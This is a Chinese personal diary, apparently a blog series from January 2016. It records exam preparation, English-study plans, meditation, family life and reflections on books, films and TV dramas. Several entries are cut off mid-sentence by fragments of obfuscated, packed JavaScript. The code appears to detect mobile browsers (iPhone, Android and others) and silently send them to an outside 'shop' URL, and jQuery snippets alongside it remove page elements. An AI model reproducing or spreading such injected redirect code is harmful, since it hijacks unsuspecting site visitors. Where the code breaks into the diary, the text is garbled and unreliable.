如果不是身体的提醒，我根本停不下来！感觉15年考研听的新东方教阅读的音频就是用《如何阅读一本书》中分析阅读的方法。我们小学、初中、高中语文做的阅读题也是对阅读能力的训练。我还依稀记得分析唐诗，问核心词是什么？说明文（即实用型）类阅读问文章主旨，段落主旨，写作意图等等，这样说来我们在阅读训练上并不差，但学生却不太重视“语文”罢了，而我的能力也是在从小的学习中积累培养起来的。 书中提到“你也会对所谓定义这件事感兴趣：定义一个字和定义一件事的差别是什么？为什么有些字无法定义，却有明确的定义？”“你甚至会有兴趣了解日常“理性”的谈话，与“情绪”性或‘疯狂”的对话有何不同——后两种谈话是精神状态受到干扰，使用的每个字都很怪异，出乎意外，却又有清楚的弦外之音。”是的，是的，在很早我便有兴趣，非常非常有兴趣！共鸣，是我最喜欢的阅读体验之一（还有便是让我大彻大悟），我随意往家里的书柜前一站，就发现了巨大的宝藏！书！我难以言表我的激动。 Dream Is a Wish Your Heart Makes是《仙履奇缘》（Cinderella）现在最火的插曲（相对其他而言），无奈我看的是国语版，所以我又尽力去找原声带来听。其中Bibbidi-Bobbidi-Bon（The Magic Song）仙女教母施魔法的时候唱的歌实在找不到……果真，原声又把国语配音秒成了渣……我认为这部电影的画风还是很赞的，Cinderella画的很美，只是她过于温柔和单纯的性格我不是太喜欢。原来嫁给心爱的人是她追求的梦，不评论！那群配角小老鼠太可爱了！尤其是原声配音！有机会我一定看原声！正当我打算吐槽一下的时候，1950年迪斯尼出品亮瞎我眼！我把槽点又吞了回去。迪斯尼动画的音乐和小配角绝对是两大亮点，这里的王子就是一打酱油的。话说Cinderella的礼服和水晶鞋好美！超喜欢小老鼠把珠子串在尾巴上的细节和帮Cinderella做衣服唱的那首歌！相比之下，嗯，我喜欢乐佩（Rapunzel）！不得不承认在动画方面我们落后太多，为什么我觉得连国产动画的配音都不行，不太有代入感，或许我看的不够？ 不知为何我的人生一直秉持深扒原则，就在写完上段之后，我又去Web上扒了一扒，然后！发现了一个Honest Trailer的节目，翻成《诚实预告片》比较好，油管上的！它对于《仙履奇缘》的解说，全新视角！惊为天人！是的，这部动画告诉小女孩美貌和火辣身材至上，只要有以上两项，美梦就能成真！还有逆来顺受！只想抱孙子而不管儿子和谁结婚的国王，不想结婚的中二王子，哈哈哈哈！完全放弃女权的Cinderella！绝妙的吐槽～让我们回到那个纯真的年代～ 2016年1月5日 星期二 未知 现在改到早上写日记，似乎总要先解释一下我无法写天气的原因，好啦！因为冬天的早上什么都看不出……原计划昨晚做的“如何学习英语”专题被拖延……这几天的冥想似乎不如以前，各种想法到处飞，不过好在已有心理准备，冥想后的效果依旧很棒！ 今天是第15天的冥想，我也打算开始给父母制作中文音频，先要听下来，把每句话翻译好，然后再按时间点进行录制。估计不会太容易，而且随着进阶，我至少得录10课！不过，提升父母生活品质就在这一点一滴不是吗？加油！ 昨天看了几条关于英语学习的问题，有一点要说：口音不是影响英语好坏的决定因素，重点是思维和表达。比如我的普通话不太标准，可你不能因此说我中文不好，印度阿三的英语就是最好的例证，所以更应该大胆开口。昨天中午我还说还好自己没有全听父母的话，昨晚刷就应证了，有大神说：只听父母的话就无法超越他们，他们为你安排的是“安全之路”，所以，我做了原始突破。 这是我第二次看《如何阅读一本书》，第一次是在考研前，看了部分，应该是只看到要“看序”，所以自那以后我开始看目录和序，确实受益良多。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740397|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 直到现在我仍旧没有好好休息一下，似乎根本不愿停下脚步。不过身体有在抗议，所以我考虑是不是给自己放个假？话说，我是真心打算记下自己的每一个念头和想法！ 2016年1月6日 星期三 多云 在厨房洗早餐的碗，看到外面的天空很美，里面一层是蓝天白云，外面却又盖上了一床又灰又厚又大的被子，两层天空的交接处尤其好看，可惜我洗碗耽搁了一下，去拍的时候已经没那么明显了。 昨天中午没有午睡，先是整理了笔记本，那些我从小学一年级起就只用最前几页的笔记本，还有一本是我爸在他二十出头干了同样事的笔记本。他到现在还是没改掉这个坏习惯，笔记本用了几页便没了下文。我把它们都整了出来，不管多么老旧，一本一本地用！看来多年不用买本子……有一小箱！ 之后我便履行诺言设计并手绘2015年度时间统计比赛给大山的奖状（虽然我删除了一百多小时，然后大山比我多10小时赢了……）：水龙、火凰、牡丹，多年不画，花了两个小时，这也是一种输出，是生活的乐趣。 再后来我干脆不午睡，制作了冥想的中文音频，先把听力放出来，我听一句翻一句写在上，然后对照时间，是第几秒开始录这句话，先预先念一遍修改语句，录制花了我将近1个半小时，我自己听，由于是自己的声音，代入感不强，不过感觉还是不错的。晚上又分别把录音录在了父母手机里，坐等使用反馈！ 小时候我喜欢趁父母不在家偷看电视，每次爸妈一回来就去摸电视烫不烫，现在，电视却再也无法那样吸引我。昨天上午妈妈陪外婆看病后提前回来，她一进门看到我急忙走出房间，说：“不是说休息吗？你怎么又在偷看书？”嗯，医生让我多休息，可是如今的转变也太大了！说到转变，昨天翻看了以前的日记，从13年6月开始，质量飞升！之后大部分，现在看来仍旧是闪闪发光的。 之前一直不敢安装Quora，也把“浸泡在英语”中当作一件做之前要沐浴更衣焚香的大事，但自从冲动开始刷之旅了，我也开启了自己真正的英语之旅。越来越勇于去尝试纯英文环境的东西，昨晚是testyourvocabulary.嗯！我的词汇现在5500-7000之间，自考研背单词后稳定在这个阶段，非母语人的词汇大部分集中在2500-9000，而母语国家的人们词汇低于20000-35000（以上仅供参考，网站上的具体解释让我佩服他们的严谨），所以，我仍是要提高词汇量。 去知乎上认真看“如何学英语”我拖延了，于是，我决定不去看了。我认为我知道怎么做，只是投入的问题。我想，把词汇提到7000-9000我还是做的到！当我尝试了越多外文网站、APP，发现了越来越多的乐趣（怪不得浩子早已经开始）。是的，施夷长技以制夷，这都是值得学习的地方，没什么不好承认别人做的更好，自己更要努力！因为英语好有了更多的机会，而每一个英语好的人必定是付出你难以想象的努力，那我呢？不能再吹虚说自己英语不错而停滞不前了！单词背起来！话说好希望时间统计可以分子项目！ 117.家里蹲考研（17） 2016年1月7日 星期四 多云 我得先处理完手机里的参考图片，然后让它去充电，那就从英语学习开始。 是的，我还是去刷了“如何学好英语”这个专题，而且是知乎和Q都刷了。这里纪念一下昨天对Q的运用又加深了。先说雅思、托福： “阅读听力（擅长）考托福，擅长口语写作，考雅思。” “托福是标准美式，雅思是英、澳为主，听力发音则表现各国口音。” “雅思贴近生活，托福则学术性更强。” “托福和雅思两大考试都分为听力、口语、阅读、写作四部分。” 以上是我查到的基本信息（知乎）； 再来说Q，Q上基本强调的是海量阅读，每天练习写作，把自己浸泡在纯英文环境不放弃任何一个学、用英语的机会。（我估计还会在Q上就这个问题继续刷下去） 接下来说我的计划。按照听力、口语、阅读、写作四部分展开，基础是词汇！我新下了“扇贝单词”，从考研阅读高频词开始，但就背单词这一点我仍是犹豫，到底用书还是软件，而且各有缺点，所以，都用？不过已经拖了七天未背单词，不论怎样，开背！还弄了个“我的单词本”来处理生词，肯定比手抄好，因为可以反复复习随身，只是没有例句。至于语法，多背吧！或许看看《高考必备》？听力有“托福听听”和“雅思听听”，我打算按知乎上说的听写句子，以前外教也这样训练过我。还有Harry Potter的朗文；口语有“托福说说”，我自己也会朗读；阅读的话就是保证每天看Q之类，还有考研阅读；写作的话除了给外教定期发邮件就是自己练手了，至少一周一次啰！等等试下把上述内容都做一遍的时间，然后以后每天的英语学习时间就定了。 怎么感觉我写的英语学习思路混乱……好吧！上面提到各种APP，是的，我开始勇于尝试各种新的APP，科技发达，为何不用？这也让我兴奋，也算是自我的小小突破～还有“英语趣配音”，但估计要被删了……今早测试的“豆瓣”，各种各样的新事物向我袭来！ 今早冥想感觉颈椎和肩相连的那块骨头突出地不舒服。关于《如何阅读一本书》的阅读我发现自己以前学的知识（上课所学）并未真正理解，仅靠记忆……现在脑子有点混，今早要写的……还有！昨天我整理好鞋柜，在鞋盒上贴好了鞋子的标签，也做好了我自己的断、舍、离，本想重新利用数码相机，结果，像素不如我手机，二是确实坏了……（偶尔会乱跳转，无法查看或摄影），今天或明天开始衣柜，然后是书柜！ P.S.我相对擅长听力和口语，哈哈，都考…… 2016年1月8日 星期五 多云 听歌，是我多少年没有做过的事了。感觉非常惬意，说考完后休息，直到今天也没有真正休息。不自觉会哼起Lost Star，刚刚第一次认真听了Adele的Someone Like You.，触动了我的心。 昨天下午想认真为父母准备晚餐，于是我做了。很愉快地出了门，能在想做的时候立刻去做，真是令人愉快！昨天刷Q看了许多小朋友的金玉良言，孩子需要引导，每个孩子都是天才！今天正式开始通过听写提高听力，感觉每天也没做什么，可时间统计上时间一般，人也很疲劳，难得今天没太多想记的。能做自己想做的事真好！ 第一次看《加勒比海盗》是初中，印象中只看了前两部，今天看的是第二部，聚魂棺。已经很久没有看过这么优秀的电影了，情节紧凑，思路巧妙而迁回（我得想一下才能把前后联系在一起，是我太傻么？）。是的，又一次，我感受到了杰克的狡诈，威尔和伊丽莎白的智慧！话说，我根本不记得杰克看上了伊丽莎白并打算娶她，很久没有在看一部电影时心嗵嗵跳了！我发现对于电影我似乎写不出什么……最后一提，海很蓝！编剧的想像非常棒！ 跳操结束，忽然发现对于《加勒比海盗》我还有很多可写。伊丽莎白和杰克的对话，因为好奇，伊向往自由，而杰克会做一个好人。我也是一个好奇的人，所以我在自认为不同的性格间转换；指向心之所向的罗盘，可杰克却无法用它找到方向，因为他的欲望不够强烈，更或许，他向往不是出于爱！第一部中杰克对黑珍珠号是真爱，所以罗盘指引方向，在第二部，杰克找聚魂棺却是为了背叛诺言活命，所以他利用伊丽莎白对威尔的真爱指引方向，真爱！因为爱所以心中明晰。因为我是真的热爱，所以我有了心中的罗盘，我爱我的生活，我的未来，这也是为什么现在我愿意努力； 又回到Jack和Elizabeth的对话，因为他们是同类，所以相互吸引，对于自由的向往，对于挑战的热爱，E眼中的那份独特：不羁又坚毅！话说剧情会发展是因为威尔为了救E，E又为了救威尔，总之他们俩是真爱。可怜了E的父亲总督大人，他为E操碎了心，愿为女儿付出一切代价！前准将、威尔、Jack至少都喜欢E，又一次证明，一个女人优秀而独特多么重要！ 2016年1月9日 星期六 阴 终于在今天早上完成了一件大事：带父母去测了视力！这件事我妈一拖再拖了至少四年，果真一口气度数加了不少，还有散光。我爸也是需要换眼镜了。妇幼保健所那里的孩子真是多，所以显得我们几个看病的成人特别显眼……我的眼睛需要休息，是的，太辛苦了，今晚去配平光镜，张医生和眼镜店的老板居然都还记得我！ 16年第一次晚睡是陪凌云姐姐聊天，我想到了当年的自己，多么脆弱，多么需要人安慰…… 主要记下架构专业框架的方法和接下去注意的事：1.多积累外语；2.看专业的书；3、最经典的文献（国外的）；4. google学术；5.书。然后或许又多了一条咨询的途径。向目标努力！ P.S.我昨天并没有开始听写句子TAT。 2016年1月10日 星期日 阵雨 我昨天没有读英语，没看书，没刷Q，没干任何和学习有关的事！累的要死，却不知干了什么就累成这样！晚上十点半就睡了，结果今早八点三十三才起！教我爸用“扇贝单词”（扇贝是取“擅背”的谐音，并且有打开扇贝获取珍宝的意思？我猜的……），结果他说太难了……自我放假以来除了昨天中午和昨晚以及少数几次，我一直有刻意控制睡觉醒来的时间！ 今天坐在这好像脑子格外清醒，早上冥想发现头顶一块部分不太舒服（似乎每天都有），但冥想结束后就不难受了！我天！2014年11月底吧我剪了齐眉的空气留海，长到今天，居然还没长好！仍不能扎低！我似乎一直有一个习惯，蹲在哪里看到一滩水，就会去想象它的形状像什么，嗯！我的英语学习似乎仍未步入正轨……注意用眼，加油！ 上午在看《如何阅读一本书》的时候看到修昔底德写的公元5年前的雅典和斯巴达，果真，这就是我去年在政治模拟卷中见到的修昔底德陷阱，这两点被我联系起来让我自己开心。我又去查了听过看过多次的“华盛顿与樱桃树”。《如何…》里关于历史的说法说服了我。我之前对于一些书，尤其是历史书的态度不够客观，书上说便信了，看来真该就一话题多看几家之言，这种方法又何止适用于历史？我很高兴我已按《如何》上的方法来阅读《如何…》这本书。 从小我便对击剑有说不出的爱，像加勒比海盗里伊丽莎白那样用剑！中午花了半小时看《格林童话》，这一版的序写于一九九三年三月二十二日，巧合！里面的故事对我来说既陌生又熟悉，我以前看的似乎都不是完整版，小时候直到初中都深受童话，现在不喜欢也不会去看。不过今天再看似乎又没有我所期待的那么有趣，不过，篇幅的长度很适合作为睡前读物，我决定先把“如何阅读数学书”的部分先看了。繁重的学习任务分散来做比较好，比如我的专业！ 近来我在学习如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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Harry Potter and the Philosopher’s Stone已完结，我压抑了自己几次中间写评的冲动，终于！Jim Dale的朗读极有代入感，帮助我更快进入角色，今年似乎对这本书又有了更深的理解，对英文表达又有了更深的体会。是的，J.K.Rowling妙语连珠！最开始是Ron对双胞胎的“ Shut up！”配上语境，这个词棒极了，把Ron的情绪刻化到极致！我重温了许多已被遗忘的细节～Hermione大叫我们没有木材如何点火？！还有任何一次Harry担心被开除的心理活动，（有些启发点我居然忘了……）Harry的心思永远不在正经学习上，他对于各种冒险活动的憧憬。Hermione的丰富学识真的帮了大忙！ 想起来了，我第一次注意到每个学院的新生数目，这么少！格兰芬多有五个男生（一年级），因为Harry的宿舍只有五人，和斯莱特林一起上的飞行课上一共只有二十把飞天扫帚，所以，我想，一个学院一年只招10人？为什么我以前从未在意过这个问题？ 超喜欢最后Dumbledore在学期末说的那句话：Hopefully your heads are all a little fuller than they were…… you. have the whole Summer ahead to get them nice and empty before next year starts…多么可爱的校长！这次我还注意到了四个学院各自突出的特点，校歌！Dumbledore等待合适的时机才能告诉Harry，伏地魔杀他的原因。每件事都有它真正合适被知道的时间。啊！从第一部来看，Hermione和Harry是非常有机会发展为一对的！Ron有时还真是刻薄。对了，不懂为什么，对挪威脊背龙的单词也有了进一步的理解Norwegian Ridgeback。我也似乎开始可以将所有线索串联起来了，这无疑又增添了我阅读的乐趣，阅读小说的规则（《如何阅读一本书》）：置身其中。评价是：我喜欢！ 118.家里蹲考研（18） 2016年1月12日 星期二 阴 说话说的我口干舌燥。事情是这样的，打算把《躲进世界的角落》送给小朋友培养阅读兴趣，无奈，我妈说理解不了，看不懂。我心中略震怒，靠！这么好的书你说没什么意思！我把这书当范例，教了母上大人如何阅读，并且逐句帮她理解其中的意义，看了大半本。终于，我妈改观了，明白了这本书好，好在哪，我干脆把理论实际全一股脑说了，我妈说她学了不少，很高兴地洗澡去了，嗯，挺好！ 傍晚时候生了点小气，发现胸口像堵了一口气，回想起来，似乎每次心情不爽胸口确实像是堵住了一样。呐，看来“胸口闷”不止是形容，而是真的！ 昨天写Harry Potter书评漏了一点，关于Dumbledore的引导，他的引导真是恰当又不失智慧，我觉得师傅对我的引导也是这样的吧！虽很少见，却总是有教诲的。 昨天戴上了平光镜，确实眼睛舒服多了。拖了多天，今日也开了电脑给凌云姐姐买了飞机上补水的喷雾、水、黄油。开电脑是为了看《太子妃升职记》！今早起来没冥想，今天除了给外教回邮件也没干别的。看剧！有毒啊！根本停不下来！雷疯了，笑疯了！这种吐槽风格简直就是我！我！我！那剧只能用乐视APP看，算它狠！剧情像极了我在睡前YY的那些反转情节，服装、演员、道剧，哈哈哈哈！太多反而懒得写，豆瓣评分8.2，天啊噜！没午睡，困了…… 2016年1月13日 星期三 阴 真是一日放纵毁所有！昨晚《太子妃升职记》看到十几集，又跳着看了两集，凌晨二点三十三！我勒个去！昨天没冥想，没干的事多了去了……现在随时候着供凌云姐姐排忧，保护欲直线飙升！历史总是惊人的相似，她、他做的事和曾经的我、他简直了！不成熟…… 早上冥想感觉随呼吸头顶的不适一点一点消失，咽一口唾沫，瞬时肩膀及全身又恢复了知觉，这免费的十节课，我仍要练练！ 《太子妃……》里自从芃芃开始被掰弯，我明明期待她这样……可是当剧情开始向正常男女情感剧走后，我不想看了……是的，就是这样，不想写了。 在我们的人生到达一个点之前，都是过程，点和点之间称之为阶段，然而点只是我们个人的定义，人生是一个过程，没有停顿的点，不论你过的快乐或悲伤都不会因此停下来。那么，按照我的想法，我只把书的结局当作一个点，也就是初想通了一切，将开始新的生活。在初达到这个点之前的所有过程，我都不谈。以这个状态为起点：终于，初决定不与有纪子分手，他爱她，他对于岛本的一切都随那个信封的消失而褪去，是什么唤醒了初？ 我认为是死。不论生活如何，只要还有一线希望，我们便想要活下去，这种本能欲望之强烈超乎自己的想象。这里的死包含两种意义：一种是岛本失去对生活的所有希望而寻找的□□死亡，另一种是泉因无法承受打击造成的精神死亡。初是一个看书又听音乐的人，他一生都在追寻生命的完整（他希望有一个女人可以填补他所缺失的空白，在我看来是作为独生、与众不同的孤独），他是对生活有所希冀的，所以，他不想死，也害怕死。 我看到了初所犯的错误，或许也是我的错误。人依靠与他人的关系来维系自己的存在，没有人可以真正意义上的一个人，所以我们感到孤独。初把孤独当作是生命的不完整，所以他认为找到另一个人便可以完整，他的重点是用人去填补空白。他认为这个人是岛本，也只能是岛本，因为岛本和他的相似和默契，然而他不懂，是因为这种相似和默契可以增强两人的联系才变得如此重要。将人和人联系起来的是关系，而不是两个怎样的人，相似或反差的吸引只是连成关系的条件。 初从未了解有纪子的想法，他把自己当作单独的一人，从未真正把自己置身于和妻子、女儿的关系网中。人和人之间的关系就像是两个人拉起了一根线，关系建起来便有这么一根线存在了，然而，这根线可以是藕丝、可以是麻绳、也可以是铁索，这全取决于线两头的两个人。初无视了这些线，所以他自私、自由。他孤独，因为他看不到联系和牵绊。像一张网，每个结点代表一个人，其中一个结点的凸起或凹陷会使相邻的结点聚拢。而待在原位时，结点也会相对远离处于自己的位置上，这便是为什么要有家。我以后不必再认为自己多么孤独，我可重新将自己的线与他人连接起来，真正去了解他人所想，织成一张牢固而充满弹性的网。这张网不用太大，每个点上都是值得信赖的人。 至于达到这个点之前的所有过程：去经历，去体会，受伤、迷惘都是该有的体验。只有做过，错了，才会真正懂得。不管别人，至少初和我都是这样，我们重新审视自己，把自己放在正确的位置，学会珍惜和努力。 以上是我再看《国境以南，太阳以西》的感想。重新看经典竟是如此的体验。人变了，同一本书又有了新的意义。 少写两个点：1.男主的名字，初。初是原始的、本真的，不忘初心。初一直都在追寻他内心中最初的向往，填补空白的人，一生的追寻；2.太阳以西，岛本说的西伯利亚癔症就是她自己，太阳以西是什么？是消亡。太阳往西落，在太阳以西的是尽头，是黑暗。而我忽然有了新的想法！太阳以西是黑暗，但当太阳落到西边后呢？阳光会照耀整个西边，这明明是希望和温暖！ 村上春树在《挪威的森林》和《国境以南，太阳以西》里都提到一个观点：不看新出的书。时间有限，花在已被时间验证过的经典上。将一个作者的相同观点在不同作品中找出来，对了，这两本书都在“找自己”。 2016年1月14日 星期四 阴 作死，这两天过来作息混乱，感觉不舒服。我发现早上起太迟就不太愿意冥想了，所以日后看到冥想缺了一天，便是前一天睡太迟，早上又起不来了…… 昨晚写评还漏了一点，关于岛本。她总是消失很长时间又出现，不曾工作过，有过孩子，每次出现都是因为可以出现，我觉得她像喜宝！找了一个勖存姿那样的老男人，所以不工作。但作为勖存姿的许多情人之一，不是总被需要的，勖这种男人选女人的眼光很挑剔，岛本便是那种特别的女子。 看了书就想看拍成的电影。哈利·波特第一部我是在小学看的吧！上午重温了一下，下午或明天接下去看完。细节做的非常好，虽然有做删改。小赫敏、小哈利、小罗恩、小马尔福太可爱！话说我看的这个版本字幕是渣……对角巷里的魔杖店，奥兰多影城里的那家店和电影里一模一样！联系，把一切联系起来！绝大部分的选角令人不能再满意！ 昨晚用托福材料听写句子，虐成渣。我能听懂句子，但不能听清每一个单词。二分半的对话，三十四句，我听写一半用了半小时！我的上升空间还很大，加油！ 2016年1月15日 星期五 晴 感觉拖延问题有点严重，几乎每天都有事拖延到第二天。比如小傅昨天中午问我的题……神奇的是，我仍旧记得思路！ 主要还是说昨天看的电影Harry Potter and the Philosopher ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我妈因为考职称两科各差一分心里不爽的很，我爸和我这两天也是尽全力让她开心。这种感觉倒是不错。然而，我却从我妈身上看到了我的问题：遇事会往他人身上找理由，即使明白主要问题在自己，但仍对涉及此事的人心生埋怨。我当然也知道很难，但这么做于事无补。我自己日后要多加注意在这方面对自己的控制，加油！ 又漏了一个点……我是得了健忘吗？用变化的眼光看人，尤其是对于一个你长期未接触的人。好的人可以黑化，坏的人可以悔悟，当然，好的人也可以更好，坏的人也可以更坏，更何况，你也不能确定你之前对人的判定是否正确，而且别人也可以伪装。顿感“君子之交淡如水”之妙，是啊！除却几个最真心，保持联系的人，对剩下的人不评论，不过分关心，那么对于他人的巨大改变也就没什么好吃惊的了，其实也不在意吧！我也不必太在意别人怎样看我，若是停留在过去，我是个不怎样的人罢，但那又怎样，损失的又不是我。关于以前我看来的好人，多年未了解，无缘也就过去吧！关于人的看法或许我还会变，但现在记住：君之交淡如水。那以前的坏人呢？释怀吧！我想要做的事很多，就不在这种地方浪费空间了。 现在是下午五点十三，因为中午作死不肯按时午睡……刷八卦！联系到看《康熙来了》，我也是神奇，这个节目播了十二年，现在要停播了，我跑去看倒数两集……访问范冰冰和李晨，就这集来看，我不至于爱上，甚至喜欢上这档节目。我没有因为这个访谈就觉得更喜欢或讨厌范和李，但是！这两集花了我1个多小时，尝试一下就花这么久…… 我有点想法，靠！怎么这么容易又有想法！好吧……除非你真的花了很多时间和精力去了解一个人，否则不要妄下定论！更何况花了时间精力也可能了解错了，不论有人怎么骂范，扒她过去，可是她就是走了过来，今天的她展现出来的确实很不错，谁又没犯过错，谁又不曾付出过代价？有些事感觉我是没什么资格乱讲啦！很多人也是心态不好。我觉得不存在绝对意义的对与错，还是看你站的立场和角度。每个人都不容易，别人不会因为你污蔑就假的变真的，所以还是做好自己，少把时间花在乱八卦这种事上。是，我就和自己说的。 119.家里蹲考研（19） 2016年1月16日 星期六 阴 在我处的这个阶段，早起早睡是要靠自控力的！今天成功早起，冥想结束。冥想以来，我会发现头顶上飘浮着一种淡淡的不适轻轻接触我的天灵盖，目前不太清楚状况。 今早刷Q的问题是：“有什么你父母对你做过的事你永远不会对你的孩子做？”我看了10分钟，这方面，我原来又不是一个人！平台真是重要，天地大了，人就多了。 不知道在日记里记下这件事对日后看到的人会有什么影响。昨晚，省里来了检查的人，本要在A宾馆住下，但没套间，不住了。便说去B宾馆住，结果又嫌太旧，便又要去隔壁县市住。结果没去，又回了B宾馆。于是负责相关事物的办公室人员只好退订退订几次，A和B宾馆的前台估计也是醉了……但据说，这是很平常事，上面反复，来又不来，不来又来，退退订订，这事由日后的人来说吧！ 昨晚我们全家看《琅琊榜》疯了！都12：41了没人察觉。终于，我理出了身份，以下是我的推理：大梁没有嫡子，但有长子景祐，他本应被立为太子，所以现任东宫当时便起了杀心。景祐是宸妃林乐瑶之子，林乐瑶他哥是林殊他爸，是赤焰军主帅，将军之妹入宫为妃是常见的。皇室姓萧，林殊姓林，但他又可在宫中玩耍，所以就是国舅儿子，像豫津是言皇后的外甥也在宫里长大一样。诬陷赤焰军支持景祐谋反，既害了长子又消灭了其背后军方势力，所以太子和誉王就联手了。就这。妙音坊的宫羽，名字取“宫商角徵羽”的头尾，揽括五音，五音俱全，自然是妙音，入魔了…… 2016年1月17日 星期日 阴 这几天看电视剧也是疯了！昨晚又到1点多！没跳操，也不知道昨天早上去茶山上走了两步算不算运动……2016年才开始17天，已经没有一项统计项有每天坚持……时间要调整一下，复试的题目没那么简单…… 有一点一直忘了记，关于Q和知乎的页面设计。Q是先看到答案才知道有多少人赞同，而知乎是先把“赞同”摆出来，再看答案。我更喜欢Q的设计，看完答案再决定是起码的尊重；我发现以目前的自己欣赏不太来村上春树的短篇，不过既然喜欢他的长篇，我打算把他的作品都看一遍；最近看的剧也都是历史剧，所以这几天找时间用“百科全书”这个工具把历史背景做个知识补充；我身上这件玫红色的羽绒服从五年级到现在穿了有十二、三年了，现在它老了，走到哪里都到处飞毛。当初我妈月工资300多，花了200给我买了它，现在想来，也是值得的。 《如何阅读一本书》是一书对我意义非凡的书，像是导师，又是我喜欢领域的导师，神书一本！又开创了我很多的第一次，方法不必在这里多谈，一是我做了算是分析阅读，有笔记：二是我既相信书中所说，就会尽力去做，主要还是就几个点来说感受，关于检视阅读：至今为止，我的阅读绝大多数都花在经典名著上，范围小，没有大量去搜罗新书、奇书，而且这些经典也大都是名家推荐，所以检视阅读很少用上。不过，整理我家书橱时应该可以用上； 主题阅读，我想研究生必备技能，我在知乎上看过陈章鱼说过他自己的读书方法，而且他也推荐过这本书，所以他肯定是用了方法的；阅读与成长：我懂得了阅读更为了增长智慧，而非增长知识，从明白了为什么一个人懂得你不懂的知识不必就生心敬佩，知识你也可以学，好书值得一读再读是因为作者的层次远高于你，你的心智可因此成长。这也就为什么现在我再不喜欢听某些大人谈话（小时候喜欢）。因为我的层次已高于他们，这些对话我早已洞悉，于我不再有任何价值，所以我认为无趣。 书后附的书单着实吓人，不过我会努力开始看的，也要形成自己的书单，那些我已开始重新再看的书是我有兴趣的，也是大概作过判定了吧！那些我看过一次却不以为然的书是不会有第二次了！不过，我大学以前看过的书我要重新考虑了，有些书或许是没看懂……不是所有书都值得看，不是所有书都值得反复看，这条路还长呢！ P.S.看书的数量确是一种考量，何况我又知道自己用了心的！ 2016年1月18日 星期一 晴 今天倒是没太多要写的，作息一定要调整过来！我现在经常跑去查豆瓣评分，我觉得好看的书都有85以上，我在想，检视阅读是为了决定是否看这本书，豆瓣评分仍替代不了… 等等准备开始《什么是数学》，感觉确实有必要安排一下时间了，调整有一个过程。这样，现在每天，Harry Potter和专英，《河流动力学》，《什么是数学》这四项一定做。 2016年1月19日 星期二 晴 《琅琊榜》没看完，这晚上早睡估计也是难……这时间混乱了好多天了，不过和父母一起追剧的感觉真心不错，加上父母也认为从中学到了很多，哈哈！我选中的剧。我想了很多，我想努力做到静妃那样。 过慧易折，过直易折，这两点都让我知道，藏住锋芒。我自有我心中的抱负，若不能身处高位，什么都改变不了，就算一人拼死挣扎，也太容易被踩在脚下。太优秀、太完美，即使不得罪他人也难不被他人嫉妒，嫉妒之后会有什么？不好说。收敛、低调才是上策，千万不要过早显山露水。我身体不能喝酒，大山也不喜欢喝酒，那么不喝酒就是我们明显的缺点。这很好，喝酒本身就对身体不好，却又被当作是中国式社交必备，那么我们会被认为是带出去不好玩的人，我们也不想被带出去，这明显的缺点既是我们的保护伞，又帮助我们认清真正和我们一道的人，同时作为原则底线学会如何拒绝别人而守住自己的原则，百利而无一实害。学术这条相对单纯的路，我们要努力走下去，厚积薄发，隐到尘埃中又何妨？ 今天中午终于发现了豆瓣有趣，两篇有趣的文章，虽然是以增加知识为主，但也给了我思考。我阅读大多是处于尽信的角度，可我却又鄙夷一些书，所以我也不太确定自己到底是否真的客观清醒，继续修炼吧！说杨贵妃胖是因为来自中国千百年来对胖子深深的恶意！哈哈！读历史是不能尽信的，日本确实激起了我很多兴趣，用爱国的名义 () { $(''.inform'').remove(); $(''#content'').append('' 利用妇女的身体，用国家仪式感抹杀一切罪恶，病态的国家却又如此强大。思考本身就是非常有趣的，立志不关乎男女。 2016年1月21日 星期四 阵雨 我确实是在生自己的气，下午醒来已经五点多，我要马上喝药，晾衣服，是自己没安排好一天的时间。早上我在乱刷，起的也迟，中午也迟迟不肯睡，这段时间过来的每天真的太不合意了，根本没在努力，只是混日子！ 坚持用了26天免费的冥想课，我今天终于花钱了，付费之后内容增多，不过下个月要记得退掉，先把88元的课反复熟练后再说。感觉我真的是太习惯不付费的资源了，所以一谈到付费就开始犹豫，可但凡涉及到版权的东西，付费是天经地义的！今天开始尝试帮助入睡的冥想，午睡效果当然是好！ 看到豆瓣上讲赏中国画的问题。古人没有电子设备，可能情趣高雅也更容易些吧！不过从古至今也少不了没文化的高官俗人不是？我现在脑子混乱，不想再谈了…… 晚饭回来继续，中午尝试了《奇葩说》，我觉得很一般，感觉太用感情到让人受不了。说回到睡前冥想，感觉到每一块肌肉都被放松了，我只剩软趴趴一坨肉，写不下去……没心思。 2016年1月22日 星期五 雨 降温，冷的不行！快一年没有过这种渣状态，前面还在生气自己不努力，立刻一集什么娱乐节目就治愈了……我人生就考研（去年）背完过一本单词书，今天又刷英语学习问题，词汇是跑不了的。 和凌云姐姐聊天，读博是一条又长又难的路，走下去！脑子很乱，今早连早饭也没吃，我的问题在于想把自己每一天的每个细节都记录下来……太可怕了……这也是一种病。人生真的在于每一天的努力，这几天欠下的东西我现在不想补上……啊！疯…… 2016年1月28日 星期四 雨 这是长久以来最难过的一个冬天，冷，非常冷，坐在这里可以全身僵硬。从1月8号和凌云姐姐聊天开始至今，我们的联系没有断过，受益匪浅，我感到一种不经意袭来的沉重，看来我要在国内完成六年博士，期间争取出国交流，然后出国继续博后。这是一条又长又难的路，不过我却充满期待。 